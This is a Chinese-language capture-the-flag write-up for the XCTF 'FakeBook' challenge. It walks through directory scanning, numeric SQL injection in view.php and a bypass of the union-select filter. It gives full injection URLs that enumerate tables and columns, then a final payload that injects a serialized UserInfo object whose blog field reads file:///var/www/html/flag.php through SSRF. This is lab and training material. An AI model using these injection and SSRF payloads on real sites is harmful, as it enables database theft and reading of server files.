攻防世界-FakeBook

攻防世界-FakeBook

使用dirmap扫描

查看网页,发现只有login和join两个功能,扫描结果:攻防世界-FakeBook

login用于登录,join.php用于注册用户,view.php

因为刚开始使用dirmap,字典很差很多没扫出来,尤其是flag.php

寻找注入点爆破

  1. 注册登录后进入http://111.200.241.244:54207/view.php?no=1,可能存在注入,可以尝试一下,但是目前只有一个用户。攻防世界-FakeBook

  2. http://111.200.241.244:54207/view.php?no=2-1,页面不变,发现是数字型注入。

  3. 使用http://111.200.241.244:54207/view.php?no=1%20order by 4 %23,返回,列数为4.

  4. http://111.200.241.244:54207/view.php?no=-1%20union%20select%201,2,3,4%20%23

    联合查询被检测到了。攻防世界-FakeBook

  5. 试试布尔盲注http://111.200.241.244:54207/view.php?no=1%20and%200%20%23成功了。下面又试试这个成功了。写代码是不能的,还是直接sqlmap来的快。尝试了一下发现响应太慢????不得行啊。 手动发现数据库名长度为8,难道真的要依次试试嘛。第一个字符为f,难道就是flag?

    发现正确的,响应时间很长,错误的响应时间很短。应该就是fakebook就是这个嘛 。

    攻防世界-FakeBook

  6. 又试试报错,显示了报错信息。但是又不能使用updatexml,其他的没试。攻防世界-FakeBook

    攻防世界-FakeBook

  7. 百度了一下,发现union select过滤的绕过可以使用union all select 绕过。或者union\**\select也可以攻防世界-FakeBook

  8. http://111.200.241.244:54207/view.php?no=-1%20union%20all%20select%201,group_concat(table_name),3,4%20from%20information_schema.tables%20where%20table_schema=%22fakebook%22%20%23

    发现users表

  9. http://111.200.241.244:54207/view.php?no=-1%20union%20all%20select%201,group_concat(column_name),3,4%20from%20information_schema.columns%20where%20table_name=%22users%22%20%23攻防世界-FakeBook

  10. data列中是O:8:"UserInfo":3:{s:4:"name";s:5:"jason";s:3:"age";i:0;s:4:"blog";s:9:"jason.com";} 明显是用户类序列化的结果。不对啊,我要的是flag啊,这是啥啊。还是看writeup把,好家伙user.php.bak没扫出来,字典垃圾了,赶紧加上。

  11. 查看user.php.bak,大概就是view.php中的内容,核心在有一个网络请求blog中。

  12. 根据扫描结果可以知道根目录下有一个flag.php但是浏览器打开啥也没有。

  13. 使用SSRF服务器端请求伪造,view.php让它去请求flag.php就可以了,猜测flag.php的实际路径为/var/www/html/flag.php构造file协议file:///var/www/html/flag.php

  14. payload:

    /view.php?no=0/**/union/**/select 1,2,3,'O:8:"UserInfo":3
    {s:4:"name";s:1:"1";s:3:"age";i:1;s:4:"blog";s:29:"file:///var/www/html/flag.p
    hp";}'
    
  15. flag:攻防世界-FakeBook

    iframe中的base64编码数据解码之后也可以看到flag

上一篇:Ajax文件上传及其他参数中文乱码解决


下一篇:windows termial 配置文件